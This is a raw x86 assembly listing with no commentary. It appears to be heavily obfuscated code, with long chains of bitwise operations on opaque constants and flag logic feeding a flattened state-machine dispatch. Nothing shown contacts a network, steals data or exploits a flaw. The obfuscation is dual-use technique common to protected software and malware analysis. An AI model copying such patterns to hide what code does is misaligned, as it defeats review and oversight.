and edx, 0xd0e7cd7
and ebx, 0xf2f18328
or ebx, edx
mov edx, ebp
xor edx, 0xd0e7cd7
and edx, eax
and ebp, 0xf2f18328
or ebp, edx
mov esi, ebp
xor esi, ebp
not esi
and esi, ebx
xor ecx, 0xc780a4b8
xor esi, ebp
mov edx, ecx
and edx, 0xe110310a
and edi, 0x1eefcef5
or edi, edx
mov edx, dword [esp + 0x1c]
or ecx, edx
and edx, 0xe110310a
and eax, 0x1eefcef5
or eax, edx
xor eax, edi
not ecx
or ecx, eax
mov eax, esi
not eax
mov edx, eax
and edx, 0x3249e5d2
and esi, 0xcdb61a2d
or esi, edx
xor esi, ecx
xor esi, 0xcdb61a2d
or eax, ecx
not eax
or eax, esi
mov edx, eax
not edx
mov ecx, eax
xor ecx, 0x5985a2f6
and ecx, eax
mov esi, eax
or esi, 0x24300408
and esi, 0x74b586ce
and edx, 0x9002030
or edx, esi
mov esi, ecx
not esi
or eax, esi
and esi, 0x74b586ce
and ecx, 0x8b4a7931
or ecx, esi
xor ecx, edx
not eax
or eax, ecx
not ecx
and ecx, 0xa67a5d09
and eax, 0x5985a2f6
or eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xf10bf58e
and eax, 0xef40a71
or eax, edx
xor eax, 0xf10bf58e
xor ecx, eax
test ecx, eax
setne ah
sete ch
cmp dword [0x1004f90c], 0xa
setl cl
setge al
mov dh, al
xor dh, ch
and dh, ch
mov dl, cl
or dl, ch
xor dl, 1
or dl, dh
mov ebx, edx
xor bl, 1
mov bh, al
and bh, dl
mov dh, bl
and dh, cl
or dh, bh
xor dl, cl
or bl, al
xor bl, 1
or bl, dl
xor dh, 1
mov dl, dh
xor dl, bl
or dh, bl
xor dh, 1
or dh, dl
mov bl, dh
xor bl, 1
mov dl, bl
and dl, dh
xor bl, dl
xor dl, 1
or dl, dh
xor dl, 1
or dl, bl
mov bl, ch
xor bl, ah
mov dh, bl
xor dh, 1
and bl, ch
mov bh, ah
and bh, dh
or bl, bh
xor bl, 1
or bl, ch
xor dh, ah
and dh, ah
or dh, bh
mov ah, dh
xor ah, 1
xor dh, ah
and dh, bl
or bl, ah
xor bl, 1
xor dh, ah
or dh, bl
mov ch, dh
xor ch, 1
mov ah, ch
and ah, dh
xor ah, 1
or ah, dh
xor ah, 1
or ah, ch
mov ch, ah
xor ch, 1
and ah, ch
xor ah, 1
mov dh, ah
xor dh, ch
or ah, ch
xor ah, 1
or ah, dh
mov ch, dl
xor ch, 1
and al, ah
xor ah, 1
and ah, cl
or ah, al
mov cl, ah
xor cl, 1
mov al, dl
or al, ah
and ah, ch
and dl, cl
or dl, ah
xor cl, dl
and cl, dl
xor dl, 1
mov ah, dl
xor ah, al
or al, dl
xor al, 1
or al, ah
or dl, ch
mov ah, dl
xor ah, 1
mov ch, cl
xor ch, dl
and ch, cl
and dl, cl
xor cl, 1
and cl, ah
or dl, cl
mov ah, al
xor ah, 1
or dl, ch
xor dl, 1
mov ecx, eax
and cl, ah
xor cl, 1
or cl, ah
xor cl, 1
or cl, al
xor cl, dl
xor dl, ah
xor al, dl
and al, dl
mov edx, eax
xor dl, 1
and dl, cl
xor cl, 1
mov ah, al
xor ah, cl
and ah, al
and cl, al
or cl, dl
mov al, ah
xor al, cl
test cl, 1
mov edi, 0x3dbbcebd
mov ecx, 0xd18bec70
cmovne edi, ecx
test ah, 1
mov edx, 0x3dbbcebd
cmove edi, edx
test al, 1
cmovne edi, ecx
mov dword [esp + 0x1c], 1
jmp 0x10011930
cmp edi, 0x5c05ee9b
je 0x1002b5e4
cmp edi, 0x5d5e6276
jne 0x10011930
mov ecx, dword [0x1004f908]
lea edx, [ecx + 1]
imul edx, ecx
mov dword [esp], edx
mov ecx, edx
not ecx
and edx, 0xcf2b4404
mov esi, ecx
and esi, 0x30d4bbfb
or esi, edx
mov edx, esi
xor edx, 0x4c2a0004
xor esi, 0x10d09129
and esi, 0x93d1d529
and edx, 0x6c2e2ad6
or edx, esi
mov esi, edx
xor esi, 0x48260284
xor edx, 0x92900508
and edx, 0xb6982d5a
and esi, 0x4967d2a5
or esi, edx
mov edi, esi
xor edi, 0x4967d2a5
xor esi, 0xb6982d5a
mov ebx, esi
and ebx, edi
mov edx, ebx
not edx
mov ebp, edx
and ebp, 0x4b31c861
and ebx, 0xb4ce379e
or ebx, ebp
or edx, esi
and esi, 0x4b31c861
and edi, 0xb4ce379e
or edi, esi
xor edi, ebx
not edx
or edx, edi
mov edi, edx
not edi
mov esi, edi
or esi, 0x923ff3ce
mov ebx, esi
and ebx, 0xe59ef1a0
mov ebp, edx
and ebp, 0x8400c11
or ebp, ebx
mov ebx, edx
xor ebx, 0x923ff3ce
and ebx, edi
mov eax, ebx
not eax
or esi, eax
and eax, 0xe59ef1a0
and ebx, 0x1a610e5f
or ebx, eax
xor ebx, ebp
not esi
or esi, ebx
mov ebx, esi
xor ebx, 0x88b0608
or edx, 0x8a804150
and edi, 0x45713a84
and edx, 0xaa8ac17b
or edx, edi
mov edi, edx
xor edi, 0xa0008
xor edx, 0x55753e84
xor esi, 0xf7444961
mov eax, esi
and eax, 0x3470f9b7
and ebx, 0xcb8f0648
or ebx, eax
or esi, edx
and edx, 0x3470f9b7
and edi, 0x410b0208
or edi, edx
xor edi, ebx
not esi
or esi, edi
mov edx, esi
not edx
mov eax, edx
and eax, 0x6ac0740
and esi, 0x9001209d
or esi, eax
xor esi, 0x9001209d
and edx, 0x6952d822
or edx, esi
mov esi, edx
not esi
and edx, 0x19450b32
and esi, 0xe6baf4cd
or esi, edx
mov edx, esi
xor edx, 0x10b12
xor esi, 0x46387449
and esi, 0x5f7c7469
and edx, 0xa0838b96
or edx, esi
mov eax, edx
xor eax, 0xa0838b96
mov dword [esp + 4], eax
mov eax, ecx
and eax, 0xa7aedf72
mov esi, dword [esp]
mov ebx, esi
and ebx, 0x5851208d
or ebx, eax
mov edi, ebx
xor edi, 0x10100084
xor ebx, 0x322d200
mov ebp, ecx
or ebp, 0xb22d209
or ebx, 0x40040102
and ebx, 0x4b26d30b
and edi, 0x30900ca4
or edi, ebx
and ebp, 0x4b26d30b
mov ebx, esi
and ebx, 0x84492050
or ebx, ebp
xor ebx, edi
mov edi, ebx
xor edi, 0x493d8
xor ebx, 0x10c94002
and ebx, 0xb1fb4827
and edi, 0x4e04b7d8
or edi, ebx
xor edi, 0x4e04b7d8
and ecx, 0x873c01cd
and esi, 0x78c3fe32
or esi, ecx
xor esi, 0x78c3fe32
or esi, edi
mov edi, esi
not edi
xor edx, 0x5f7c7469
mov eax, edx
and eax, 0x71f9b4ef
mov ebp, dword [esp + 4]
mov ecx, ebp
and ecx, 0x8e064b10
or ecx, eax
xor ecx, 0x8e064b10
mov ebx, esi
and ebx, 0xb07ad1ee
mov eax, esi
xor esi, 0xd549945b
and esi, edi
and edi, 0x4f852e11
or edi, ebx
xor edi, 0x4f852e11
or edi, ecx
mov ecx, edi
not ecx
and edx, 0x2a3640a0
mov ebx, ebp
and ebx, 0x802b04
or ebx, edx
xor ebx, 0x802b04
and ebp, 0xd549945b
or ebp, ebx
and eax, 0x2ab66ba4
or esi, eax
xor esi, ebp
mov eax, edi
and eax, 0xcecdc1ff
xor edi, 0x7a4e738e
and edi, ecx
mov edx, ecx
and edx, 0x31323e00
or edx, eax
mov ebx, edx
xor ebx, 0x31323e00
mov dword [esp], ebx
mov eax, esi
not eax
mov ecx, eax
mov dword [esp + 4], eax
mov eax, edx
xor eax, 0x4b7c4d8e
and eax, ebx
or edi, eax
mov ebp, esi
or ebp, 0x7a4e738e
mov eax, ebp
and eax, 0xd0b41969
mov ebx, ecx
and ebx, 0x5018410
or ebx, eax
mov eax, esi
xor eax, 0x85b18c71
and eax, esi
mov ecx, eax
not ecx
or ebp, ecx
and ecx, 0xd0b41969
and eax, 0x2f4be696
or eax, ecx
xor eax, ebx
not ebp
or ebp, eax
mov ebx, ebp
xor ebx, ebp
not ebx
and ebx, edi
xor ebx, ebp
xor edx, 0xcecdc1ff
mov eax, edx
and eax, 0x352cd53e
mov ecx, dword [esp]
and ecx, 0xcad32ac1
or ecx, eax
or edx, esi
and esi, 0x352cd53e
mov eax, dword [esp + 4]
and eax, 0xcad32ac1
or eax, esi
xor eax, ecx
not edx
or edx, eax
not edx
or edx, ebx
mov ebp, edx
not ebp
mov eax, ebp
or eax, 0x2881061
mov ecx, edx
or ecx, 0xac004088
and ecx, 0xae8850e9
mov esi, ebp
and esi, 0x11528c10
or esi, ecx
and eax, 0xae8850e9
mov edi, edx
and edi, 0x40252306
or edi, eax
xor edi, esi
mov esi, edi
xor esi, 0xcc056302
xor edi, 0x3521c20
and edi, 0x23721cac
and esi, 0xdc8de353
or esi, edi
mov eax, esi
xor eax, 0xdc8de353
xor esi, 0x2002148c
and esi, 0x288bb68d
mov ecx, eax
and ecx, 0xd7744972
or ecx, esi
xor ecx, 0xb20ff3dd
and eax, 0x9a844550
or eax, ecx
mov ecx, ebp
and ecx, 0x71e946b0
and edx, 0x8e16b94f
or edx, ecx
xor edx, 0x1492fc1f
xor ebp, edx
and ebp, edx
mov ecx, ebp
not ecx
xor ebp, ecx
and ebp, eax
or eax, ecx
not eax
xor ebp, ecx
or ebp, eax
mov eax, ebp
not eax
mov ecx, eax
mov edx, eax
mov dword [esp], eax
and edx, 0xcf352d32
mov edi, ebp
and edi, 0x30cad2cd
or edi, edx
mov edx, edi
xor edx, 0xca0081
xor edi, 0xcf352d32
and eax, ebp
mov ebx, edi
and ebx, 0xf924f25c
and edx, 0x6db0da3
or edx, ebx
mov ebx, eax
not ebx
or edi, ebx
and ebx, 0xf924f25c
and eax, 0x6db0da3
or eax, ebx
xor eax, edx
not edi
or edi, eax
mov eax, edi
not eax
and edi, 0xe85e6cb3
and eax, 0x17a1934c
or eax, edi
mov edx, eax
xor edx, 0xbb29ced8
xor eax, 0x17a1934c
and eax, edx
and ecx, 0xa4080190
mov edx, ebp
and edx, 0x8805c04
or edx, ecx
mov ecx, edx
xor ecx, 0x404
or ecx, 0x50120023
xor edx, 0x80080100
and edx, 0x88885900
and ecx, 0x741204b7
or ecx, edx
mov ebx, ecx
xor ebx, 0x4000414
mov edx, eax
not edx
xor ecx, 0x8bedfb48
mov edi, edx
or edi, ecx
not edi
and edx, 0xea4af2e0
and eax, 0x15b50d1f
or eax, edx
and ecx, 0xea4af2e0
and ebx, 0x4800d14
or ebx, ecx
xor ebx, eax
or ebx, edi
mov esi, ebx
xor esi, 0xac885d94
xor ebx, 0x5377a26b
mov eax, ebx
and eax, 0xbd337a7e
mov ecx, esi
mov dword [esp + 8], esi
and ecx, 0x42cc8581
or ecx, eax
mov eax, ecx
xor eax, 0x2000080
xor ecx, 0x20000000
mov edx, ebx
mov dword [esp + 4], ebx
or ebx, 0x200c0401
or ecx, 0x1de0d200
and ecx, 0x3decd601
and eax, 0x20300ec
or eax, ecx
and ebx, 0x3decd601
mov edi, esi
and edi, 0xc0102912
or edi, ebx
xor edi, eax
mov eax, edx
and eax, 0x1277e43d
and esi, 0xed881bc2
or esi, eax
mov ebx, edi
not ebx
mov eax, edi
and eax, 0x8b37447a
and ebx, 0x74c8bb85
or ebx, eax
mov eax, esi
xor eax, 0x64881b80
xor esi, 0x1277e43d
or edi, esi
and esi, 0x8b37447a
and eax, 0x74c8bb85
or eax, esi
xor eax, ebx
mov ecx, ebp
xor ebp, 0xf8589757
mov ebx, dword [esp]
and ebp, ebx
not edi
or edi, eax
and ecx, 0x3146a486
and ebx, 0xceb95b79
or ebx, ecx
mov esi, ebx
xor esi, 0xceb95b79
xor ebx, 0x3146a486
mov eax, ebx
or eax, 0xf8589757
mov ecx, eax
and ecx, 0x546f1baf
mov edx, esi
and edx, 0x3806000
or edx, ecx
mov ecx, ebp
not ecx
or eax, ecx
and ecx, 0x546f1baf
and ebp, 0xab90e450
or ebp, ecx
xor ebp, edx
not eax
or eax, ebp
and ebx, 0xf6b55613
mov ecx, esi
and ecx, 0x94aa9ec
or ecx, ebx
mov edx, edi
not edx
mov ebp, edx
mov dword [esp], edx
xor eax, 0xda5793ba
xor ecx, 0xd4ba52fe
and esi, 0x220f04ed
or esi, ecx
not esi
or esi, eax
mov eax, esi
not eax
mov ecx, eax
and ecx, 0x6f41d692
and eax, esi
and esi, 0x90be296d
or esi, ecx
xor esi, 0x90be296d
or esi, eax
mov ebx, esi
not ebx
and esi, 0x3bf25b18
and ebx, 0xc40da4e7
or ebx, esi
mov ecx, ebx
xor ecx, 0xc40da4e7
xor ebx, 0x3bf25b18
mov eax, ebx
and eax, edi
and edx, ecx
or edx, eax
mov esi, edx
xor esi, edi
and esi, edx
mov eax, edi
and eax, 0x94ea000
mov edx, ebp
and edx, 0x4200c04
or edx, eax
mov eax, ebx
and eax, 0xc8376ea8
mov ebp, ecx
and ebp, 0x37c89157
or ebp, eax
mov eax, ebp
xor eax, 0x37c89157
xor ebp, 0xc559c2ac
and ebp, eax
mov eax, edx
xor eax, 0x4200804
xor edx, 0x11cd606b
and edx, 0x11cd646b
and eax, 0xc228804
or eax, edx
or edi, 0x14c2400
and edi, 0x11cd646b
mov edx, dword [esp]
and edx, 0xe2101390
or edx, edi
xor edx, eax
mov dword [esp], edx
mov edx, ebp
not edx
mov eax, edx
and eax, 0x1d04d633
and ebp, 0xe2fb29cc
or ebp, eax
or ebx, 0xd6eac04
or edx, ebx
and ebx, 0x1d04d633
and ecx, 0xe29101c8
or ecx, ebx
xor ecx, ebp
not edx
or edx, ecx
mov edi, edx
xor edi, edx
not edi
and edi, dword [esp]
xor edi, edx
mov ecx, edi
not ecx
mov eax, esi
xor eax, ecx
and eax, esi
and ecx, 0x16ee0539
and edi, 0xe911fac6
or edi, ecx
xor edi, esi
xor edi, 0x16ee0539
or edi, eax
mov eax, edi
not eax
mov ecx, edi
mov edx, eax
and edx, edi
mov esi, eax
and esi, 0x7abecd40
and edi, 0x854132bf
or edi, esi
xor edi, 0xa74e3653
or edi, eax
and eax, 0xa585cb23
and ecx, 0x5a7a34dc
or ecx, eax
xor ecx, 0x5a7a34dc
or edx, ecx
mov eax, edx
xor eax, 0xddf0fb13
and eax, edx
mov edx, eax
not edx
mov ecx, eax
xor ecx, 0x2490bddd
and ecx, edx
and eax, 0xdb6f4222
or eax, ecx
mov ecx, edi
not ecx
and ecx, edi
or edx, edi
xor edi, 0xdb6f4222
xor ecx, edi
mov esi, ecx
xor esi, ecx
not esi
and esi, eax
xor esi, ecx
not edx
or edx, esi
mov edi, dword [esp + 4]
mov eax, edi
and eax, 0xfffffffe
mov ebx, dword [esp + 8]
mov esi, ebx
and esi, 1
or esi, eax
mov ecx, esi
xor ecx, edi
and ecx, esi
mov esi, edi
or esi, 0x8e7cf9fc
and edi, 0x8e7cf9fc
mov eax, ebx
and eax, 0x71830602
or eax, edi
and esi, 0x8e7cf9fd
xor esi, eax
mov edi, esi
not edi
mov eax, ecx
xor eax, edi
and eax, ecx
and edi, 0x45374051
and esi, 0xbac8bfae
or esi, edi
xor esi, ecx
mov edi, esi
xor edi, 0x45374051
mov ecx, eax
not ecx
xor esi, 0xbac8bfae
mov ebx, ecx
and ebx, 0x3ff9fd2e
and eax, 0xc00602d1
or eax, ebx
or ecx, esi
and esi, 0x3ff9fd2e
and edi, 0xc00602d1
or edi, esi
xor edi, eax
not ecx
or ecx, edi
mov eax, ecx
not eax
and ecx, 0x55f33c6f
and eax, 0xaa0cc390
or eax, ecx
mov esi, eax
xor esi, 0x15033460
xor eax, 0xaa0cc390
mov ecx, eax
and ecx, 0x48f4890f
and esi, 0xb70b76f0
or esi, ecx
xor esi, 0xb70b76f0
or esi, eax
mov ecx, esi
not ecx
mov eax, esi
and eax, 0xb07354f7
mov edi, ecx
and edi, 0x4f8cab08
or edi, eax
mov eax, edi
xor eax, 0x45842a08
mov ebx, edx
not ebx
mov ebp, esi
xor ebp, ebx
and ebp, ecx
and esi, 0x83f41c96
and ecx, 0x7c0be369
or ecx, esi
mov esi, ebx
and esi, 0xaa0b91e2
xor ecx, ebx
xor ecx, 0x7c0be369
and ecx, edx
and edx, 0x55f46e1d
or edx, esi
xor edi, 0xa00310e2
and edi, 0xaa0b91e2
and eax, 0x55f46e1d
or eax, edi
xor eax, edx
not eax
or eax, ebx
mov edx, ebp
not edx
mov esi, ecx
not esi
mov edi, edx
and edi, 0xf27026b
and ebp, 0xf0d8fd94
or ebp, edi
or edx, esi
and esi, 0xf27026b
and ecx, 0xf0d8fd94
or ecx, esi
xor ecx, ebp
not edx
or edx, ecx
mov ebp, edx
not ebp
mov ecx, edx
xor ecx, 0x6c82e793
and ecx, ebp
mov esi, ebp
or esi, 0x6c82e793
or ebp, eax
xor eax, 0x937d186c
mov edi, ecx
not edi
mov ebx, edi
and ebx, 0xcfc4bd7e
and ecx, 0x303b4281
or ecx, ebx
or edi, esi
and esi, 0xcfc4bd7e
and edx, 0x10390000
or edx, esi
xor edx, ecx
not edi
or edi, edx
mov ecx, edi
xor ecx, edi
not ecx
and ecx, eax
xor ecx, edi
not ebp
or ebp, ecx
mov edi, ebp
not edi
mov eax, edi
and eax, 0x711825d
mov ecx, ebp
and ecx, 0x58204400
or ecx, eax
xor ecx, 0x58204400
mov edx, ebp
xor edx, 0x5f31c65d
and edx, ebp
mov dword [esp + 4], ebp
or edx, ecx
mov eax, edx
xor eax, 0x20000022
xor edx, 0x4004400
and edx, 0x48e5d00
and eax, 0x38108022
or eax, edx
mov esi, eax
xor esi, 0x8100002
or esi, 0x8021229d
xor eax, 0x4081900
and eax, 0x34089920
and esi, 0x88b7669f
or esi, eax
mov ecx, esi
xor ecx, 0x88b7669f
mov edx, edi
and edx, 0x3010019
mov eax, ebp
and eax, 0xc06022c4
or eax, edx
mov ebx, eax
xor ebx, 0xc0402084
or ebx, 0x2c185102
xor eax, 0x3010009
and eax, 0x3210249
and ebx, 0xec587196
or ebx, eax
mov eax, ebx
xor eax, 0xec587196
xor esi, 0x5088120
and esi, 0x53ce3a7
mov ebp, ecx
and ebp, 0x38821c00
or ebp, esi
xor ebx, 0x12a28a00
and ebx, 0x36b2eb04
mov edx, eax
and edx, 0xc14100d9
or edx, ebx
mov esi, ebp
xor esi, 0xfac31c58
xor ebp, 0x11b23b86
and ebp, esi
and ecx, 0x28100502
or ecx, ebp
mov ebx, edx
xor ebx, 0xc94d14fb
xor edx, 0x62783325
and edx, ebx
and eax, 0x832122dc
or eax, edx
xor eax, ecx
xor eax, 0x40440000
or ebx, esi
not ebx
or ebx, eax
mov eax, ebx
xor eax, 0xc36122dd
mov esi, eax
mov dword [esp + 0xc], eax
xor ebx, 0x3c9edd22
mov dword [esp + 0x10], ebx
mov eax, edi
and eax, 0x940d4154
mov ebp, dword [esp + 4]
mov ecx, ebp
and ecx, 0x2228021
or ecx, eax
xor ecx, 0x2228021
mov edx, ebp
and edx, 0x69d03e8a
or edx, ecx
mov eax, edx
xor eax, 0x49103200
xor edx, 0x80004060
and edx, 0xa0c04cea
and eax, 0x5f3fb315
or eax, edx
xor eax, 0x5f3fb315
and edi, 0xafff1d23
and ebp, 0x5000e2dc
or ebp, edi
xor ebp, 0x5000e2dc
or ebp, eax
mov eax, ebp
mov dword [esp + 4], ebp
not eax
mov edi, eax
mov dword [esp], eax
mov eax, ebx
and eax, 0xa19a9cc4
mov ecx, esi
and ecx, 0x5e65633b
or ecx, eax
mov edx, ecx
xor edx, 0x646332
xor ecx, 0xa0828c00
and ecx, 0xfe838c09
and edx, 0x17c73f6
or edx, ecx
mov eax, edi
and eax, 0x39336a7e
and ebp, 0xc6cc9581
or ebp, eax
mov esi, edx
xor esi, 0xfe838c09
mov eax, edx
xor eax, 0x17c73f6
mov dword [esp + 8], eax
xor edx, 0x84b4bacc
mov ebx, edx
and edx, esi
mov dword [esp + 0x14], edx
mov eax, esi
and eax, 0x332742c3
mov edi, dword [esp + 8]
and edi, 0xccd8bd3c
or edi, eax
mov edx, ebp
xor edx, 0x39336a7e
mov ecx, ebp
xor ecx, 0xc6cc9581
mov esi, ecx
and esi, 0xe656eab7
mov eax, edx
and eax, 0x19a91548
or eax, esi
xor ebp, 0x43045cbb
and ebp, edx
mov dword [esp + 0x18], ebp
xor eax, 0x1931a2c4
or eax, ecx
mov dword [esp + 0x3c], eax
and ecx, 0xbf043068
and edx, 0x40fbcf97
or edx, ecx
mov ebp, dword [esp + 8]
and ebx, ebp
mov dword [esp + 0x20], ebx
mov eax, edx
xor eax, 0x40fbcf97
xor edx, 0xc53306ad
and edx, eax
mov dword [esp + 0x24], edx
or eax, ebp
mov dword [esp + 0x38], eax
xor edi, 0x33bff54f
and ebp, 0x98b78c
or ebp, edi
mov eax, dword [esp + 0x10]
and eax, 0x1ae2a2ab
mov ecx, dword [esp + 0xc]
and ecx, 0xe51d5d54
or ecx, eax
mov esi, ecx
xor esi, 0xe51d5d54
xor ecx, 0x1242a02a
and ecx, 0x9247ac7e
mov eax, esi
and eax, 0x6db85381
or eax, ecx
xor eax, 0x6d20e40d
and esi, 0xff674873
or esi, eax
mov eax, dword [esp + 4]
and eax, 0x102300
mov ecx, dword [esp]
and ecx, 0x88948c
or ecx, eax
mov dword [esp], ecx
mov ebx, ebp
not ebx
mov edx, ebp
and edx, 0xec7be897
mov ecx, ebx
and ecx, 0x13841768
or ecx, edx
mov eax, esi
not eax
and esi, 0x146d464b
mov edx, eax
and edx, 0xeb92b9b4
or edx, esi
mov esi, edx
xor esi, 0xeb92b9b4
mov edi, edx
xor edi, 0x100b24e3
and edi, esi
and eax, 0xfb999d57
or eax, edi
mov dword [esp + 0xc], eax
mov eax, ecx
xor eax, 0x13841768
mov dword [esp + 8], eax
mov edi, ecx
xor edi, 0xe81d8a3f
and edi, eax
mov eax, edi
not eax
mov dword [esp + 4], eax
and dword [esp + 4], 0xd374ed25
and edi, 0x2c8b12da
add edi, dword [esp + 4]
or ebp, 0x46662a8
or eax, ebp
and ebp, 0xd374ed25
and ebx, 0x28891052
or ebx, ebp
xor ebx, edi
not eax
or eax, ebx
mov ebx, dword [esp + 0xc]
mov edi, ebx
xor edi, ebx
not edi
and edi, eax
xor edi, ebx
xor ecx, 0xec7be897
mov eax, ecx
and eax, 0xcf828077
mov ebx, dword [esp + 8]
and ebx, 0x307d7f88
or ebx, eax
xor edx, 0x146d464b
or ecx, edx
and edx, 0xcf828077
and esi, 0x307d7f88
or esi, edx
xor esi, ebx
not ecx
or ecx, esi
mov edx, edi
not edx
mov eax, edx
and eax, 0x95274fae
and edi, 0x6ad8b051
or edi, eax
xor edi, ecx
or edx, ecx
xor edi, 0x6ad8b051
not edx
or edx, edi
mov ebp, dword [esp + 0x3c]
mov eax, ebp
xor eax, 0x9e423a5c
mov ecx, ebp
not ecx
and ecx, ebp
xor ecx, eax
mov ebx, dword [esp]
mov eax, ebx
xor eax, 0x88948c
mov esi, ebx
or esi, 0x1200201c
and esi, 0x1280a49c
lea edi, [eax - 0x98b78d]
or ebp, edi
and edi, 0x190100
or edi, esi
or eax, 0x73a4c4b3
xor ebx, 0x200
and eax, 0x73a4e4bf
and ebx, 0x1200
or ebx, eax
xor ebx, edi
mov eax, ebx
xor eax, ebx
not eax
and eax, ecx
xor eax, ebx
mov ecx, eax
not ecx
mov esi, ecx
and esi, 0xac00bc4
and eax, 0xf53ff43b
or eax, esi
mov esi, ebp
not esi
or ecx, ebp
and ebp, 0xac00bc4
and esi, 0x18b408
or esi, ebp
xor esi, eax
not ecx
or ecx, esi
not edx
mov eax, edx
xor eax, ecx
not eax
and eax, ecx
or edx, ecx
mov ecx, eax
not ecx
mov esi, ecx
and esi, 0x628a0a7c
and eax, 0x9d75f583
or eax, esi
xor eax, edx
or ecx, edx
xor eax, 0x9d75f583
not ecx
or ecx, eax
mov ebx, dword [esp + 0x18]
or ebx, dword [esp + 0x24]
mov esi, dword [esp + 0x20]
mov eax, esi
not eax
mov edx, eax
and edx, 0x9d703c39
and esi, 0x628fc3c6
or esi, edx
mov edi, esi
mov esi, dword [esp + 0x14]
mov edx, esi
not edx
or eax, edx
and edx, 0x9d703c39
and esi, 0x628fc3c6
or esi, edx
xor esi, edi
not eax
or eax, esi
xor eax, ebx
mov esi, dword [esp + 0x38]
not esi
or esi, eax
mov eax, esi
not eax
mov edx, eax
and edx, 0x84e69dfd
and eax, esi
and esi, 0x7b196202
or esi, edx
xor esi, 0x7b196202
or esi, eax
mov edx, esi
not edx
and esi, 0x9e432c9b
and edx, 0x61bcd364
or edx, esi
mov eax, edx
xor eax, 0x9e432c9b
xor edx, 0x2104c044
mov esi, ecx
not esi
mov edi, esi
or edi, eax
and esi, 0xd6f917a8
and ecx, 0x2906e857
or ecx, esi
and eax, 0xd6f917a8
and edx, 0x2906e857
or edx, eax
xor edx, ecx
mov eax, edx
not eax
mov ecx, eax
and ecx, 0xf2aea87f
and edx, 0xd515780
or edx, ecx
xor edx, edi
xor edx, 0xd515780
or eax, edi
not eax
or eax, edx
mov edx, eax
not edx
mov esi, eax
xor esi, 0x5db171a6
and esi, eax
mov ecx, edx
or ecx, esi
not esi
and esi, 0xc0858
and ecx, 0x59b020a2
or ecx, esi
and edx, 0x20400701
and eax, 0x8603d004
or eax, edx
mov esi, eax
xor esi, 0x400c004
or esi, 0x582c08c8
xor eax, 0x400600
mov edi, ecx
not edi
mov edx, edi
and edx, ecx
and edi, 0x7c2cc9cd
and ecx, 0x1902032
or ecx, edi
and esi, 0x7c2cc9cd
and eax, 0x82431600
or eax, esi
xor eax, ecx
mov ecx, edx
not ecx
mov esi, eax
not esi
mov edi, ecx
and edi, 0xff8e8586
and edx, 0x713a79
or edx, edi
or ecx, esi
and esi, 0xff8e8586
and eax, 0x717a79
or eax, esi
xor eax, edx
not ecx
or ecx, eax
mov eax, ecx
xor eax, 0xa643d705
xor ecx, 0x59bc28fa
mov edx, ecx
and edx, eax
mov esi, edx
not esi
mov edi, eax
and edi, 0xb6c98209
and ecx, 0x49367df6
or ecx, edi
or eax, esi
and esi, 0xb6c98209
and edx, 0x49367df6
or edx, esi
xor edx, ecx
not eax
or eax, edx
mov edx, eax
not edx
mov ecx, edx
and ecx, 0xf6ad94e8
mov esi, eax
and esi, 0x9526b17
or esi, ecx
mov ecx, esi
xor ecx, 0x9526b17
xor esi, 0xa05aac7e
and esi, ecx
mov ecx, esi
not ecx
mov edi, ecx
and edi, 0x9603aef7
and esi, 0x69fc5108
or esi, edi
or ecx, edx
or edx, 0x16032896
and edx, 0x9603aef7
and eax, 0x29084108
or eax, edx
xor eax, esi
not ecx
or ecx, eax
not eax
and eax, 0x56f73896
and ecx, 0xa908c769
or ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0x4844ca24
mov esi, ecx
and esi, 0xb00a1091
or esi, edx
xor esi, 0xb00a1091
mov edx, ecx
xor edx, 0xf84edab5
and edx, ecx
or edx, esi
mov esi, edx
xor esi, 0xf84edab5
xor edx, 0x7b1254a
and eax, edx
and esi, ecx
or esi, eax
not esi
or esi, edx
xor esi, 0xffffffff
setne byte [esp]
sete dl
cmp dword [0x1004f90c], 0xa
setl ah
setge cl
mov ch, cl
inc ch
mov dh, ch
and dh, cl
xor dh, 1
or dh, cl
xor dh, 1
or dh, ch
mov bh, dh
xor bh, 1
mov bl, dh
and bl, bh
xor bl, 1
or bl, bh
xor bl, 1
or bl, dh
mov dh, ch
xor dh, bl
and dh, ch
xor ch, cl
and ch, bl
xor ch, cl
or ch, dh
mov dh, ch
xor dh, 1
and ch, dh
xor ch, 1
mov bl, dh
xor bl, ch
or ch, dh
xor ch, 1
or ch, bl
mov bl, ch
xor bl, 1
and bl, ch
xor bl, 1
mov dh, ch
xor dh, bl
or bl, ch
xor bl, 1
or bl, dh
mov dh, bl
xor dh, 1
and dh, bl
xor dh, 1
mov bh, dh
xor bh, bl
or dh, bl
xor dh, 1
or dh, bh
mov bl, ah
xor bl, dh
and bl, dh
or dh, cl
xor dh, 1
or dh, bl
mov bl, ah
xor bl, ch
or ch, ah
and ch, bl
or bl, cl
mov bh, bl
xor bh, 1
and bl, bh
xor bl, 1
mov al, bh
xor al, bl
or bl, bh
xor bl, 1
or bl, al
xor bl, ch
xor bl, 1
mov al, bh
xor al, ch
or ch, bh
xor ch, 1
or ch, al
xor ch, 1
or ch, bl
mov al, ch
xor al, 1
mov bl, dh
xor bl, 1
and ch, al
xor ch, 1
mov bh, al
xor bh, ch
or ch, al
xor ch, 1
or ch, bh
mov bh, ch
xor bh, 1
and bl, dh
xor bl, 1
mov al, bl
xor al, dh
or bl, dh
xor bl, 1
or bl, al
xor bl, 1
mov al, bh
xor al, bl
and al, ch
or bl, ch
xor bl, 1
or bl, al
and ch, bh
xor ch, 1
mov al, ch
xor al, bh
or ch, bh
xor ch, 1
or ch, al
xor ch, dh
or bh, dh
mov al, ch
xor al, bh
or bh, ch
xor bh, 1
or bh, al
xor bl, 1
mov al, bl
or al, bh
xor al, 1
xor bl, bh
or bl, al
mov ch, bl
xor ch, 1
and ch, bl
xor ch, 1
mov al, ch
xor al, bl
or ch, bl
xor ch, 1
or ch, al
mov al, ch
xor al, 1
mov dh, dl
or dh, al
xor ch, dl
and ch, al
xor dh, 1
or ch, dh
mov dh, byte [esp]
mov al, dh
xor al, cl
and dl, cl
or cl, dh
xor cl, 1
or cl, al
mov al, ah
and al, dh
or al, dl
mov edx, eax
xor dl, 1
or dl, cl
mov ah, dl
not ah
xor al, cl
mov cl, al
not cl
and ah, dl
and cl, al
mov dh, al
xor ah, 1
mov al, ah
xor al, dl
or ah, dl
xor ah, 1
or ah, al
xor cl, 1
mov al, cl
xor al, dh
or cl, dh
xor cl, 1
or cl, al
xor cl, ah
or dh, dl
xor cl, 1
mov eax, ecx
xor al, dh
or cl, dh
xor cl, 1
or cl, al
